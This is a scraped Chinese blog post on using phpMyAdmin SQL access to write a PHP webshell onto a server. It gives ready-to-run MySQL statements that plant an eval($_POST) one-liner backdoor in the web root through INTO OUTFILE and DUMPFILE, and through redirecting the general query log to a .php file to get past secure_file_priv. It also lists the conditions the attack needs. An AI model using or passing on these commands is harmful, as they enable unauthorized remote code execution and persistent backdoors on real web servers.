zoukankan      html  css  js  c++  java
  • phpAdmin写webshell的方法

    一、常规导入shell的操作
        创建数据表导出shell
        CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );
        INSERT INTO `mysql`.`shadow9` (`content` ) VALUES (‘<?php @eval($_POST[pass]);?>’);
        SELECT `content` FROM `shadow9` INTO OUTFILE ‘C:\phpStudy\WWW\90sec.php’;
        DROP TABLE IF EXISTS `shadow9`;
        
        Ps:(1)利用条件secure_file_priv=(未写路径)
             (2)知道目标的绝对路径
        
    二、一句话导出shell:

    select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/90sec.php'; 
    select '<?php @eval($_POST[pass]);?>' into outfile 'c:\phpstudy\www\90sec.php';
    select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:\phpstudy\www\bypass.php';

    Ps:(1)利用条件secure_file_priv=(未写路径)
         (2)知道目标的绝对路径

    三、日志备份获取shell

    show global variables like "%genera%";          //查询general_log配置
    set global general_log='on';              //开启general log模式
    SET global general_log_file='D:/phpStudy/WWW/cmd.php';    //设置日志文件保存路径
    SELECT '<?php phpinfo();?>';              //phpinfo()写入日志文件
    set global general_log='off';              //关闭general_log模式

    Ps:(1)可以绕过secure_file_priv=
         (2)知道目标的绝对路径

  • 相关阅读:
    js实现将字符串里包含手机号的中间四位替换为****
    草稿for套for
    js实现将时间戳转换成2017-05-06 09:03:02
    时间日期校验接口
    JS延迟导航nav
    nav导航
    鼠标滚动请求加载
    常用开源Jabber(XMPP) IM服务器介绍(转)
    01.base-v1.js
    Haproxy安装及配置(转)
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/12992209.html
Copyright © 2011-2022 走看看